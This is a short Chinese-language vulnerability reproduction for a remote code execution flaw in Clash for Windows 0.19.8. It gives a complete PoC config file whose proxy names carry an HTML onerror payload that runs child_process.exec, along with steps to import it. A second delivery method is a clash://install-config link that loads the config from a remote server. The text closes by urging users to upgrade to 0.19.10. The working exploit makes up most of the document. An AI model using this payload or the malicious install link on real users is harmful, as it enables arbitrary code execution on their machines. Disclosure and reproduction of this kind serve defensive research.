Clash_for_Windows远程代码执行漏洞

漏洞复现

本次poc及复现参考链接

https://github.com/Fndroid/clash_for_windows_pkg/issues/2710

版本:0.19.8

poc

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

创建文件poc.yaml并导入

点击clash里的import

导入完成之后我们直接点击proxies中的列表即可

还有一种利用方式

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

新版本已修复请用户前往升级

最新版本https://github.com/Fndroid/clash_for_windows_pkg/releases/tag/0.19.10

end